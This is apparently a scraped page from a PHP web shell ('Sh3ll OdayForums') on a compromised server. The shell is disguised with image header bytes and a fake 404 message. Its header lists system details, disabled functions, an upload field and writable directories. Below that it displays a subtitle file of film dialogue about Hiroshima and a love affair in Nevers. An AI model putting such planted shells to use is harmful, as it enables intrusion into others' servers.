����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c81ca729f541-1552009842.vtt
WEBVTT - https://subtitletools.com

00:03:54.569 --> 00:03:57.864
You saw nothing in Hiroshima.
Nothing.

00:03:57.947 --> 00:03:59.782
I saw everything.

00:03:59.866 --> 00:04:03.202
I saw the hospital - I'm sure of it.

00:04:04.621 --> 00:04:07.332
The hospital in Hiroshima exists.

00:04:09.125 --> 00:04:13.338
How could I not have seen it?

00:04:32.190 --> 00:04:36.069
You didn't see the hospital
in Hiroshima.

00:04:37.028 --> 00:04:40.114
You saw nothing in Hiroshima.

00:04:46.704 --> 00:04:49.374
Four times at the museum.

00:04:49.749 --> 00:04:51.626
What museum in Hiroshima?

00:05:05.556 --> 00:05:08.893
Four times
at the museum in Hiroshima.

00:05:09.268 --> 00:05:11.479
I saw people walking around.

00:05:11.938 --> 00:05:17.026
People walk around, lost in thought,
among the photographs,

00:05:17.110 --> 00:05:20.863
the reconstructions,
for lack of anything else.

00:05:21.364 --> 00:05:24.659
The photographs, the photographs,

00:05:24.742 --> 00:05:28.705
the reconstructions,
for lack of anything else.

00:05:28.788 --> 00:05:33.251
The explanations,
for lack of anything else.

00:05:36.004 --> 00:05:39.173
Four times
at the museum in Hiroshima.

00:05:40.550 --> 00:05:42.343
I watched the people.

00:05:43.386 --> 00:05:46.514
I myself, lost in thought,

00:05:46.597 --> 00:05:49.392
looked at the scorched metal.

00:05:49.851 --> 00:05:51.436
The twisted metal.

00:05:51.769 --> 00:05:54.814
Metal made as vulnerable as flesh.

00:05:57.316 --> 00:05:59.694
I saw the bouquet of bottle caps.

00:06:00.028 --> 00:06:01.946
Who would have thought?

00:06:02.030 --> 00:06:05.199
Human flesh, suspended,
as if still alive,

00:06:05.283 --> 00:06:07.952
its agony still fresh.

00:06:08.453 --> 00:06:11.789
Stones. Charred stones.
Shattered stones.

00:06:12.790 --> 00:06:14.625
Anonymous masses of hair

00:06:14.709 --> 00:06:18.921
that the women of Hiroshima,
upon waking in the morning,

00:06:19.005 --> 00:06:20.798
would find had fallen out.

00:06:34.562 --> 00:06:37.607
I was hot in Peace Square.

00:06:38.649 --> 00:06:41.986
10,000 degrees in Peace Square.

00:06:42.070 --> 00:06:43.571
I know it.

00:06:44.989 --> 00:06:48.618
The temperature of the sun
in Peace Square.

00:06:48.993 --> 00:06:50.661
How could you not know it?

00:06:50.995 --> 00:06:53.081
The grass. It's quite simple.

00:06:53.164 --> 00:06:56.584
You saw nothing in Hiroshima.
Nothing.

00:07:05.551 --> 00:07:09.806
The reconstructions were
as authentic as possible.

00:07:11.349 --> 00:07:15.353
The films were
as authentic as possible.

00:07:16.354 --> 00:07:20.817
The illusion,
quite simply, is so perfect

00:07:20.900 --> 00:07:22.902
that tourists weep.

00:07:24.695 --> 00:07:26.614
One can always scoff,

00:07:27.532 --> 00:07:29.951
but what else can a tourist do

00:07:30.326 --> 00:07:32.537
but weep?

00:08:10.283 --> 00:08:13.536
I've always wept
over Hiroshima's fate.

00:08:14.453 --> 00:08:15.705
Always.

00:08:15.788 --> 00:08:16.998
No.

00:08:17.081 --> 00:08:20.585
What was there
for you to weep over?

00:08:39.061 --> 00:08:41.397
I saw the newsreels.

00:08:41.480 --> 00:08:45.359
On the second day, history tells us -
I'm not making it up -

00:08:45.860 --> 00:08:47.445
from the second day on,

00:08:47.528 --> 00:08:50.448
certain species
of animals crawled

00:08:50.531 --> 00:08:53.576
from the depths of the earth,
and from the ashes.

00:08:56.329 --> 00:08:59.373
Dogs were captured on film
for all time.

00:08:59.457 --> 00:09:00.958
I saw them.

00:09:01.042 --> 00:09:03.961
I saw the newsreels.
I saw them.

00:09:04.295 --> 00:09:07.548
Of the first day, the second day,

00:09:07.632 --> 00:09:09.383
the third day.

00:09:09.467 --> 00:09:11.636
You saw nothing.

00:09:11.719 --> 00:09:14.180
Of the 15th day too.

00:09:15.765 --> 00:09:18.267
Hiroshima was covered in flowers.

00:09:19.060 --> 00:09:22.813
There were cornflowers
and gladioli everywhere,

00:09:23.439 --> 00:09:27.151
morning glories and daylilies

00:09:27.777 --> 00:09:29.612
born again from the ashes

00:09:29.695 --> 00:09:34.867
with an extraordinary vitality
unheard of in flowers before then.

00:09:35.409 --> 00:09:37.578
I didn't make any of it up.

00:09:37.662 --> 00:09:40.331
You made it all up.

00:09:41.207 --> 00:09:42.541
None of it.

00:09:43.042 --> 00:09:46.379
Just as the illusion exists in love,

00:09:46.462 --> 00:09:49.423
the illusion you can never forget,

00:09:49.507 --> 00:09:54.303
so I was under the illusion
I would never forget Hiroshima.

00:09:54.387 --> 00:09:56.430
Just like with love.

00:10:04.397 --> 00:10:06.691
I saw the survivors too,

00:10:07.191 --> 00:10:10.319
and those who were in the wombs
of the women of Hiroshima.

00:10:11.362 --> 00:10:13.531
I saw the patience,

00:10:13.906 --> 00:10:15.533
the innocence,

00:10:15.992 --> 00:10:18.202
the apparent meekness

00:10:18.577 --> 00:10:22.123
with which the temporary survivors
of Hiroshima

00:10:22.206 --> 00:10:25.293
adapted to a fate so unjust

00:10:25.376 --> 00:10:28.629
that the imagination,
usually so fertile,

00:10:28.713 --> 00:10:31.507
is silent before it.

00:10:47.648 --> 00:10:49.984
Listen. I know.

00:10:50.067 --> 00:10:52.528
I know everything.
It went on.

00:10:52.611 --> 00:10:54.530
Nothing. You know nothing.

00:10:54.905 --> 00:10:58.576
Women risk giving birth
to deformed children, to monsters,

00:10:58.659 --> 00:11:00.161
but it goes on.

00:11:00.619 --> 00:11:03.539
Men risk becoming sterile,

00:11:03.831 --> 00:11:05.666
but it goes on.

00:11:05.750 --> 00:11:10.004
Rain causes panic, the rain
of ash on the waters of the Pacific.

00:11:10.087 --> 00:11:14.592
The Pacific turns deadly,
and its fishermen die.

00:11:14.675 --> 00:11:16.719
Food becomes an object of fear.

00:11:16.802 --> 00:11:19.889
An entire city's food is thrown away.

00:11:19.972 --> 00:11:22.600
The food of entire cities is buried.

00:11:22.683 --> 00:11:25.019
An entire city rises up in anger.

00:11:26.312 --> 00:11:28.856
Entire cities rise up in anger.

00:11:30.107 --> 00:11:33.361
But against whom
do they rise up in anger?

00:11:33.944 --> 00:11:37.156
The anger of entire cities,
whether they like it or not,

00:11:37.239 --> 00:11:39.367
against the principle
of inequality advanced

00:11:39.450 --> 00:11:42.370
by one people
against another.

00:11:42.995 --> 00:11:45.414
The principle of inequality advanced

00:11:45.498 --> 00:11:48.834
by certain races
against other races.

00:11:49.502 --> 00:11:52.046
The principle of inequality advanced

00:11:52.129 --> 00:11:55.591
by certain classes
against other classes.

00:11:56.842 --> 00:11:58.427
Listen to me.

00:11:58.844 --> 00:12:00.971
Like you,
I know what it is to forget.

00:12:01.055 --> 00:12:04.475
No, you don't know
what it is to forget.

00:12:05.184 --> 00:12:07.853
Like you,
I am endowed with memory.

00:12:07.937 --> 00:12:09.230
I know what it is to forget.

00:12:09.313 --> 00:12:12.900
No, you are not endowed
with memory.

00:12:13.484 --> 00:12:18.322
Like you, I too have struggled
with all my might

00:12:18.406 --> 00:12:19.907
not to forget.

00:12:20.491 --> 00:12:22.910
Like you, I forgot.

00:12:27.248 --> 00:12:31.377
Like you, I longed
for a memory beyond consolation,

00:12:31.919 --> 00:12:34.964
a memory of shadows and stone.

00:12:35.339 --> 00:12:39.093
For my part I struggled
every day with all my might

00:12:39.385 --> 00:12:42.221
against the horror
of no longer understanding

00:12:42.304 --> 00:12:44.765
the reason to remember.

00:12:44.849 --> 00:12:47.685
Like you, I forgot.

00:12:54.859 --> 00:12:59.488
Why deny the obvious necessity
of remembering?

00:13:04.952 --> 00:13:07.455
Listen to me.
I know something else.

00:13:07.538 --> 00:13:09.206
It will begin again.

00:13:09.290 --> 00:13:13.794
200,000 dead and 80,000 wounded
in nine seconds.

00:13:13.878 --> 00:13:17.590
Those are the official figures.
It will begin again.

00:13:18.215 --> 00:13:20.468
It will be 10,000 degrees
on the earth.

00:13:20.551 --> 00:13:22.803
10,000 suns, people will say.

00:13:22.887 --> 00:13:24.930
The asphalt will burn.

00:13:25.473 --> 00:13:27.892
Chaos will prevail.

00:13:28.476 --> 00:13:31.312
An entire city will be lifted
off the ground,

00:13:31.395 --> 00:13:33.564
then fall back to earth in ashes.

00:13:38.194 --> 00:13:41.739
New vegetation rises
from the sands.

00:13:43.240 --> 00:13:46.035
Four students together await

00:13:46.118 --> 00:13:49.330
a fraternal and legendary death.

00:13:54.919 --> 00:13:57.838
The seven branches
of the delta estuary

00:13:57.922 --> 00:13:59.840
of the river Ota

00:13:59.924 --> 00:14:04.428
drain and fill at their usual hour,

00:14:04.762 --> 00:14:08.557
precisely at their usual hour,

00:14:08.641 --> 00:14:12.603
with freshwater rich with fish,
gray or blue,

00:14:12.686 --> 00:14:14.939
depending on the season
and time of day.

00:14:15.898 --> 00:14:19.610
People along the muddy banks
no longer watch

00:14:20.110 --> 00:14:22.363
the tide slowly rise

00:14:22.446 --> 00:14:25.991
in the seven branches
of the delta estuary

00:14:26.075 --> 00:14:28.118
of the river Ota.

00:14:41.215 --> 00:14:45.052
I meet you.
I remember you.

00:14:45.803 --> 00:14:47.304
Who are you?

00:14:47.638 --> 00:14:50.891
You're destroying me.
You're good for me.

00:14:51.433 --> 00:14:55.229
How could I know this city
was tailor-made for love?

00:14:56.480 --> 00:15:00.442
How could I know
you fit my body like a glove?

00:15:01.443 --> 00:15:02.945
I like you.

00:15:03.195 --> 00:15:04.863
How unlikely.

00:15:05.322 --> 00:15:06.907
I like you.

00:15:07.408 --> 00:15:09.702
How slow all of a sudden.

00:15:10.327 --> 00:15:12.329
How sweet.

00:15:12.871 --> 00:15:14.832
You cannot know.

00:15:15.499 --> 00:15:19.169
You're destroying me.
You're good for me.

00:15:25.509 --> 00:15:28.679
You're destroying me.
You're good for me.

00:15:30.264 --> 00:15:31.765
I have time.

00:15:32.141 --> 00:15:35.519
Please, devour me.

00:15:36.228 --> 00:15:39.565
Deform me
to the point of ugliness.

00:15:40.399 --> 00:15:42.151
Why not you?

00:15:42.735 --> 00:15:47.364
Why not you in this city
and in this night

00:15:47.448 --> 00:15:50.784
so like other cities and other nights
you can hardly tell the difference?

00:15:51.702 --> 00:15:53.704
I beg of you.

00:15:56.165 --> 00:15:58.375
You have such beautiful skin.

00:16:02.421 --> 00:16:03.922
You!

00:16:04.715 --> 00:16:07.551
Yes, me. Surprised?

00:16:23.734 --> 00:16:28.739
Are you completely Japanese or not?

00:16:29.114 --> 00:16:31.283
Completely. I am Japanese.

00:16:33.202 --> 00:16:35.746
Your eyes are green, aren't they?

00:16:36.664 --> 00:16:39.458
Yes, I think they're green.

00:16:39.875 --> 00:16:41.919
You're like
a thousand women in one.

00:16:43.253 --> 00:16:45.714
That's because you don't know me.

00:16:45.798 --> 00:16:48.550
That might not be the only reason.

00:16:50.511 --> 00:16:54.348
I don't mind being
a thousand women in one for you.

00:16:57.101 --> 00:16:58.519
Listen.

00:16:59.061 --> 00:17:00.854
It's 4:00.

00:17:01.313 --> 00:17:02.690
Why?

00:17:03.148 --> 00:17:04.817
I don't know who it is.

00:17:05.275 --> 00:17:08.404
Every day he passes by at 4:00
and coughs.

00:17:22.793 --> 00:17:25.254
Were you here in Hiroshima?

00:17:25.838 --> 00:17:28.424
Of course not.

00:17:29.383 --> 00:17:32.136
That's right.
How foolish of me.

00:17:34.638 --> 00:17:38.016
But my family was in Hiroshima.

00:17:39.977 --> 00:17:42.146
I was off fighting the war.

00:17:43.147 --> 00:17:45.023
Lucky for you, eh?

00:17:47.317 --> 00:17:48.694
Yes.

00:17:49.695 --> 00:17:51.697
Lucky for me too.

00:18:00.038 --> 00:18:03.417
- Why are you in Hiroshima?
- A film.

00:18:03.500 --> 00:18:05.127
A film?

00:18:05.210 --> 00:18:07.880
I'm acting in a film.

00:18:10.507 --> 00:18:13.802
Where were you
before you came to Hiroshima?

00:18:15.012 --> 00:18:16.472
Paris.

00:18:17.014 --> 00:18:19.016
And before Paris?

00:18:19.808 --> 00:18:22.561
Before Paris I was in Nevers.

00:18:28.317 --> 00:18:30.527
It's in the province of Nièvre.
You don't know it.

00:18:37.201 --> 00:18:40.370
Why did you want to see
everything in Hiroshima?

00:18:42.372 --> 00:18:44.249
It interested me.

00:18:44.958 --> 00:18:46.877
I have my own idea about it.

00:18:47.503 --> 00:18:50.798
For example,
looking closely at things...

00:18:52.216 --> 00:18:53.884
is something
that has to be learned.

00:20:06.164 --> 00:20:07.833
Would you like some coffee?

00:20:20.721 --> 00:20:22.681
What were you dreaming about?

00:20:22.764 --> 00:20:24.725
I don't remember. Why?

00:20:25.976 --> 00:20:27.853
I was watching your hands.

00:20:27.936 --> 00:20:29.980
They move when you're sleep.

00:20:34.693 --> 00:20:38.655
Maybe that happens when
you don't realize you're dreaming.

00:20:59.468 --> 00:21:01.929
You're a beautiful woman.
You know that?

00:21:02.012 --> 00:21:03.889
- You think so?
- I think so.

00:21:04.222 --> 00:21:06.016
A bit worn out, no?

00:21:08.352 --> 00:21:10.854
- A bit ugly.
- You don't mind?

00:21:11.146 --> 00:21:13.440
That's what I noticed
last night at the café.

00:21:13.523 --> 00:21:16.276
How ugly you were and -

00:21:16.360 --> 00:21:18.779
- And?
- And how bored you looked.

00:21:19.279 --> 00:21:20.781
Tell me more.

00:21:20.864 --> 00:21:25.077
You were bored in a way that makes
a man want to know a woman.

00:21:30.958 --> 00:21:32.584
You speak French well.

00:21:33.293 --> 00:21:34.628
Don't I though!

00:21:34.711 --> 00:21:38.423
I'm glad you finally noticed.

00:21:40.217 --> 00:21:43.887
I hadn't noticed
that you don't speak Japanese.

00:21:46.139 --> 00:21:51.895
Have you ever noticed people have
a way of noticing what they want?

00:21:54.064 --> 00:21:57.067
I noticed you. That's all.

00:22:11.581 --> 00:22:17.129
To meet in Hiroshima.

00:22:18.422 --> 00:22:20.257
That doesn't happen every day.

00:22:20.882 --> 00:22:24.928
What did Hiroshima mean
to you in France?

00:22:28.098 --> 00:22:29.891
The end of the war.

00:22:30.726 --> 00:22:32.519
I mean completely.

00:22:33.770 --> 00:22:35.939
Astonishment that they dared do it,

00:22:36.440 --> 00:22:38.692
and astonishment
that they succeeded.

00:22:40.110 --> 00:22:42.946
And the beginning
of an unknown fear for us as well.

00:22:45.073 --> 00:22:46.950
And then indifference.

00:22:47.951 --> 00:22:50.037
And fear of indifference as well.

00:22:50.746 --> 00:22:52.289
Where were you?

00:22:53.790 --> 00:22:55.792
I had just left Nevers.

00:22:56.168 --> 00:22:57.961
I was in Paris. In the street.

00:22:59.379 --> 00:23:03.091
That's a beautiful French word:
Nevers.

00:23:05.677 --> 00:23:08.555
A word like any other.
Just like the town.

00:23:17.856 --> 00:23:20.817
Have you met many Japanese
in Hiroshima?

00:23:21.985 --> 00:23:23.653
A few,

00:23:24.404 --> 00:23:26.156
but none like you.

00:23:26.823 --> 00:23:30.702
- Am I the first Japanese in your life?
- Yes.

00:23:32.120 --> 00:23:33.955
Hiroshima.

00:23:34.331 --> 00:23:37.000
The whole world rejoiced,

00:23:37.751 --> 00:23:41.213
and you rejoiced with it.

00:23:43.048 --> 00:23:47.010
Was it a beautiful summer day
in Paris?

00:23:48.178 --> 00:23:50.639
I heard it was. Wasn't it?

00:23:50.931 --> 00:23:52.849
Yes, it was a nice day.

00:23:53.600 --> 00:23:56.853
- How old were you?
- Twenty. You?

00:23:57.479 --> 00:24:00.440
- Twenty-two.
- The same age, really.

00:24:01.108 --> 00:24:02.651
Just about.

00:24:09.282 --> 00:24:11.701
What do you do for work?

00:24:12.786 --> 00:24:14.871
I'm an architect.

00:24:16.957 --> 00:24:18.792
And I'm also...

00:24:20.377 --> 00:24:21.962
in politics.

00:24:22.546 --> 00:24:24.965
Is that why
you speak French so well?

00:24:25.048 --> 00:24:29.094
That's why. To read
about the French Revolution.

00:24:34.891 --> 00:24:37.310
What is this film you're in?

00:24:37.727 --> 00:24:39.688
It's a film about peace.

00:24:39.771 --> 00:24:43.024
What else would you expect
in Hiroshima?

00:25:00.083 --> 00:25:02.335
I'd like to see you again.

00:25:05.922 --> 00:25:08.175
At this time tomorrow...

00:25:09.509 --> 00:25:11.553
I'll be on my way back to France.

00:25:11.636 --> 00:25:14.181
Really? You didn't tell me.

00:25:16.057 --> 00:25:17.434
It's true.

00:25:18.059 --> 00:25:20.270
There was no point in telling you.

00:25:20.979 --> 00:25:24.566
That's why you let me come up
to your room last night.

00:25:24.816 --> 00:25:27.986
Because it was your last day
in Hiroshima.

00:25:29.779 --> 00:25:33.033
Not at all.
The thought never crossed my mind.

00:25:33.116 --> 00:25:37.746
When you speak, I wonder
whether you lie or tell the truth.

00:25:38.663 --> 00:25:41.583
I lie... and I tell the truth.

00:25:42.209 --> 00:25:44.586
But I have no reason to lie to you.

00:25:45.879 --> 00:25:50.258
Tell me, do things like this
happen to you often?

00:25:51.468 --> 00:25:53.011
Not all that often.

00:25:53.553 --> 00:25:55.055
But they happen.

00:25:57.182 --> 00:25:59.184
I'm very fond of men.

00:26:02.103 --> 00:26:04.606
I have dubious morals, you know.

00:26:05.649 --> 00:26:08.985
What do you call
having “dubious morals”?

00:26:09.694 --> 00:26:12.155
Being dubious
about other people's morals.

00:26:20.038 --> 00:26:22.082
I'd like to see you again.

00:26:22.749 --> 00:26:24.501
Even if your plane leaves
tomorrow morning.

00:26:24.584 --> 00:26:27.128
Even if you have dubious morals.

00:26:30.006 --> 00:26:31.341
Why?

00:26:32.592 --> 00:26:34.094
Because.

00:26:48.483 --> 00:26:50.443
You don't want
to talk to me anymore?

00:26:54.364 --> 00:26:56.408
I'd like to see you again.

00:27:06.209 --> 00:27:08.503
Where are you going in France?
Nevers?

00:27:08.586 --> 00:27:12.007
No, Paris.
I'm never going back to Nevers.

00:27:12.382 --> 00:27:14.467
- Never?
- Never.

00:27:16.303 --> 00:27:19.264
I was never younger
than I was in Nevers.

00:27:20.056 --> 00:27:22.225
Young in Nevers.

00:27:23.435 --> 00:27:25.270
Young in Nevers.

00:27:25.854 --> 00:27:30.275
And mad in Nevers too.

00:27:45.665 --> 00:27:49.502
You see, Nevers
is the one city in the world -

00:27:50.295 --> 00:27:53.757
the one thing in the world -
I dream of most at night.

00:27:54.841 --> 00:27:59.304
And at the same time,
think about the least.

00:28:00.305 --> 00:28:02.849
What was this madness
of yours in Nevers like?

00:28:05.685 --> 00:28:08.229
Madness is like intelligence.

00:28:08.813 --> 00:28:12.067
You can't explain it.
Just like intelligence.

00:28:12.692 --> 00:28:16.112
It comes over you, consumes you,

00:28:16.821 --> 00:28:18.531
and then you understand.

00:28:18.615 --> 00:28:21.618
But when it's gone,
you no longer understand it at all.

00:28:21.701 --> 00:28:23.370
Were you full of hate?

00:28:23.745 --> 00:28:25.330
That was my madness.

00:28:25.789 --> 00:28:27.624
I was mad with hate.

00:28:28.625 --> 00:28:33.213
I felt I could make a career of hating.

00:28:33.296 --> 00:28:35.382
All I cared about was hating.

00:28:36.132 --> 00:28:38.218
Do you understand?
- Yes.

00:28:40.512 --> 00:28:44.140
It's true. I guess you must
understand that too.

00:28:44.224 --> 00:28:46.518
Did it ever happen to you again?

00:28:49.396 --> 00:28:50.814
It's over.

00:28:51.231 --> 00:28:54.359
- During the war?
- Right after it.

00:28:55.819 --> 00:28:59.864
Was that one of the hardships
of life in France after the war?

00:29:00.323 --> 00:29:02.742
You could say that.

00:29:03.368 --> 00:29:06.162
When did this madness
of yours pass?

00:29:06.704 --> 00:29:08.123
It went away little by little,

00:29:08.206 --> 00:29:10.333
and then when I had children,
of course.

00:29:10.417 --> 00:29:11.918
What did you say?

00:29:12.001 --> 00:29:13.795
I said it went away little by little,

00:29:13.878 --> 00:29:15.880
and then when I had children,
of course.

00:29:20.385 --> 00:29:25.014
I'd like to spend a few days with you
somewhere sometime.

00:29:27.142 --> 00:29:28.351
Me too.

00:29:28.435 --> 00:29:30.812
To see you again today
wouldn't really be “seeing you again.”

00:29:30.895 --> 00:29:34.774
Such a short time doesn't count.
I really would like to.

00:29:44.200 --> 00:29:45.618
Very well.

00:29:49.205 --> 00:29:51.249
It's because
you know I'm leaving tomorrow.

00:29:51.833 --> 00:29:54.335
That may be part of it.

00:29:54.419 --> 00:29:57.046
But it's as good a reason
as any, isn't it?

00:29:58.381 --> 00:30:03.470
The thought of never seeing
you again in just a few hours -

00:30:50.934 --> 00:30:53.770
You were easy to find in Hiroshima.

00:31:02.111 --> 00:31:04.822
Is it a French film?

00:31:05.114 --> 00:31:08.618
No. International.
It's about peace.

00:31:09.202 --> 00:31:12.163
- Is it finished?
- It is for me.

00:31:12.789 --> 00:31:14.290
There are some crowd scenes
left to shoot.

00:31:17.085 --> 00:31:19.629
There are lots
of commercials for soap.

00:31:20.213 --> 00:31:22.715
Maybe by pressing the point -

00:31:22.799 --> 00:31:24.926
Yes, maybe.

00:31:25.009 --> 00:31:28.638
Here in Hiroshima we don't
make fun of films about peace.

00:31:43.319 --> 00:31:44.904
Are you tired?

00:31:50.743 --> 00:31:52.537
No more than you.

00:31:54.414 --> 00:31:56.791
I've been thinking
about Nevers in France.

00:31:58.501 --> 00:32:00.503
I've been thinking about you.

00:32:02.589 --> 00:32:05.842
Is your flight still tomorrow?
- Yes.

00:32:05.925 --> 00:32:08.428
- Without fail?
- Yes.

00:32:08.970 --> 00:32:10.555
The picture is behind schedule.

00:32:10.638 --> 00:32:12.932
I was supposed
to be in Paris a month ago.

00:32:37.957 --> 00:32:42.795
You give me
a tremendous desire to love.

00:32:45.298 --> 00:32:46.799
Always.

00:32:47.675 --> 00:32:49.761
Short-lived affairs.

00:32:52.305 --> 00:32:53.806
Me too.

00:33:02.190 --> 00:33:05.193
It's not always this strong,
and you know it.

00:33:14.410 --> 00:33:18.831
They say there's a storm coming
before nightfall.

00:33:28.758 --> 00:33:32.679
IF ONE A-BOMB EQUALS
20,000 ORDINARY BOMBS,

00:33:40.311 --> 00:33:44.107
AND AN H-BOMB EQUALS
1,500 ATOMIC BOMBS,

00:33:51.447 --> 00:33:54.492
HOW MUCH DO THE 40,000
A-BOMBS AND H-BOMBS

00:33:54.575 --> 00:33:57.620
CURRENTLY STOCKPILED
IN THE WORLD EQUAL?

00:33:57.704 --> 00:34:02.041
THEY ARE A TRIBUTE
TO MAN'S SCIENTIFIC GENIUS.

00:34:02.125 --> 00:34:05.294
BUT UNFORTUNATELY MAN'S
POLITICAL INTELLIGENCE

00:34:05.378 --> 00:34:07.505
IS 100 TIMES
LESS DEVELOPED

00:34:07.588 --> 00:34:09.882
THAN HIS SCIENTIFIC
INTELLIGENCE,

00:34:11.843 --> 00:34:14.595
AND FOR THAT REASON
HE FORFEITS OUR RESPECT.

00:34:14.679 --> 00:34:16.806
STOP THERMONUCLEAR
TESTING!

00:34:49.046 --> 00:34:52.300
I don't like to think
about you leaving tomorrow.

00:35:27.877 --> 00:35:30.296
I think I love you.

00:36:07.416 --> 00:36:10.795
You will come with me once more.

00:36:23.975 --> 00:36:25.560
Answer me.

00:36:27.270 --> 00:36:28.938
Are you afraid?

00:37:40.509 --> 00:37:42.136
Sit down.

00:37:45.556 --> 00:37:47.850
Are you all alone in Hiroshima?

00:37:48.476 --> 00:37:50.269
Where is your wife?

00:37:50.895 --> 00:37:54.815
She's in Unzen, in the mountains.
I'm alone.

00:37:56.025 --> 00:37:57.693
When is she coming back?

00:37:58.194 --> 00:37:59.987
In a few days.

00:38:11.874 --> 00:38:13.876
What is your wife like?

00:38:15.127 --> 00:38:16.712
Beautiful.

00:38:17.296 --> 00:38:20.716
I'm a man
who's happy with his wife.

00:38:22.635 --> 00:38:24.136
So am I.

00:38:24.845 --> 00:38:27.390
I'm a woman
who's happy with her husband.

00:38:28.641 --> 00:38:30.851
It would have been too easy.

00:38:33.062 --> 00:38:36.440
- Don't you work in the afternoon?
- Yes, a lot.

00:38:36.732 --> 00:38:38.776
Mostly in the afternoon.

00:38:45.157 --> 00:38:47.243
This whole thing is ridiculous.

00:39:18.357 --> 00:39:20.943
Are you giving up your afternoon
because of me?

00:39:22.570 --> 00:39:24.780
Tell me.
What difference can it make?

00:39:33.247 --> 00:39:37.668
The man you loved during the war -
was he French?

00:39:46.135 --> 00:39:48.054
He wasn't French.

00:39:57.730 --> 00:39:59.148
Yes.

00:40:00.399 --> 00:40:02.276
It was in Nevers.

00:40:59.166 --> 00:41:02.044
At first we met in barns.

00:41:04.713 --> 00:41:07.216
Then among the ruins.

00:41:09.885 --> 00:41:12.096
Then in rooms.

00:41:12.471 --> 00:41:14.306
Like anywhere else.

00:41:34.368 --> 00:41:35.911
Then he died.

00:41:43.794 --> 00:41:45.754
I was 18.

00:41:46.255 --> 00:41:47.965
He was 23.

00:42:29.840 --> 00:42:33.677
Why speak of him and not others?

00:42:33.761 --> 00:42:35.721
- Why not?
- No! Why?

00:42:37.139 --> 00:42:39.350
Because of Nevers.

00:42:40.476 --> 00:42:43.604
I'm only just beginning
to know you,

00:42:44.313 --> 00:42:48.817
and from the many thousands
of things in your life,

00:42:48.901 --> 00:42:50.986
I choose Nevers.

00:42:51.070 --> 00:42:52.780
Just like that?

00:42:53.572 --> 00:42:54.865
Yes.

00:42:54.949 --> 00:42:58.327
No, it wasn't by chance.
You have to tell me why.

00:43:00.079 --> 00:43:04.375
I somehow understand
that it was there

00:43:04.917 --> 00:43:08.837
that you were so young

00:43:09.630 --> 00:43:12.591
that you didn't yet belong
to anyone in particular,

00:43:12.675 --> 00:43:14.176
and I like that.

00:43:15.177 --> 00:43:16.887
No, that's not it.

00:43:20.849 --> 00:43:24.311
I somehow understand
that it was there

00:43:24.395 --> 00:43:26.689
that I almost lost you

00:43:27.606 --> 00:43:32.194
and ran the risk
of never, ever meeting you.

00:43:33.195 --> 00:43:36.532
I somehow understand
that it was there

00:43:36.615 --> 00:43:42.371
that you began to be
who you are today.

00:44:11.483 --> 00:44:13.569
I want to leave this place!

00:44:19.158 --> 00:44:21.410
There's nothing left for us to do now

00:44:21.910 --> 00:44:26.206
but kill the hours
until your departure.

00:44:26.582 --> 00:44:29.251
Sixteen hours until your flight.

00:44:31.670 --> 00:44:33.589
It's too much!

00:44:35.215 --> 00:44:37.468
You mustn't be afraid.

00:45:20.135 --> 00:45:26.141
Does “Nevers” have
any other meaning in French?

00:45:26.934 --> 00:45:28.477
No.

00:45:29.478 --> 00:45:33.649
Would you have been cold
in that cellar in Nevers

00:45:34.233 --> 00:45:36.443
if we had loved each other?

00:45:36.819 --> 00:45:38.570
I would have been cold.

00:45:39.905 --> 00:45:43.742
The cellars in Nevers are cold
both summer and winter.

00:45:45.369 --> 00:45:48.997
The city slopes down
to a river called the Loire.

00:45:50.040 --> 00:45:52.501
I can't picture Nevers.

00:45:52.960 --> 00:45:55.712
Nevers. Population 40,000.

00:45:56.630 --> 00:45:58.549
Built like a capital.

00:45:59.341 --> 00:46:01.552
A child can walk
all the way around it.

00:46:02.428 --> 00:46:04.179
I was born in Nevers.

00:46:10.227 --> 00:46:12.187
I grew up in Nevers.

00:46:15.649 --> 00:46:17.860
I learned to read in Nevers.

00:46:22.281 --> 00:46:26.535
That's where I turned 20.

00:46:32.291 --> 00:46:34.084
And the Loire?

00:46:36.712 --> 00:46:39.423
It's a completely unnavigable river.

00:46:39.965 --> 00:46:41.592
It's always empty...

00:46:43.010 --> 00:46:46.138
due to its irregular course
and sand bars.

00:46:49.766 --> 00:46:52.853
In France it's considered
a very beautiful river...

00:46:54.980 --> 00:46:57.733
due mostly to its light.

00:47:00.444 --> 00:47:02.738
So very soft.

00:47:03.780 --> 00:47:05.616
If you only knew.

00:47:13.207 --> 00:47:16.502
When you're in the cellar,
am I dead?

00:47:17.252 --> 00:47:18.545
You're dead.

00:47:24.176 --> 00:47:25.886
How can anyone endure such pain?

00:47:30.307 --> 00:47:32.267
The cellar is small.

00:47:33.185 --> 00:47:35.229
Very small.

00:47:37.105 --> 00:47:39.816
The “Marseillaise” passes
above my head.

00:47:41.443 --> 00:47:42.778
It's deafening!

00:47:49.660 --> 00:47:52.829
Hands become useless in a cellar.

00:47:54.248 --> 00:47:58.252
They claw
and scrape away at the rocks...

00:47:59.461 --> 00:48:01.588
until they bleed.

00:48:04.299 --> 00:48:07.844
It's all you can think of
to help yourself

00:48:08.595 --> 00:48:10.973
and to remember.

00:48:13.308 --> 00:48:16.937
I loved blood
since I had tasted yours.

00:48:34.288 --> 00:48:36.832
The world passes by
above my head...

00:48:37.958 --> 00:48:41.128
in place of the sky, of course.

00:48:42.379 --> 00:48:44.756
I watch that world pass by.

00:48:45.674 --> 00:48:48.176
Hurriedly during the week...

00:48:49.219 --> 00:48:52.306
leisurely on Sundays.

00:48:54.057 --> 00:48:56.351
It doesn't know I'm in the cellar.

00:48:57.519 --> 00:48:59.855
They pretend I'm dead.

00:49:00.230 --> 00:49:02.733
Dead, far from Nevers.

00:49:06.987 --> 00:49:10.782
My father prefers it that way,
since I was disgraced.

00:49:11.867 --> 00:49:14.036
My father prefers -

00:49:16.204 --> 00:49:17.623
Do you scream?

00:49:18.040 --> 00:49:20.375
Not in the beginning.

00:49:20.751 --> 00:49:23.920
I call your name softly.
- But I'm dead.

00:49:24.004 --> 00:49:27.257
I call your name anyway.
Even if you're dead.

00:49:27.549 --> 00:49:30.510
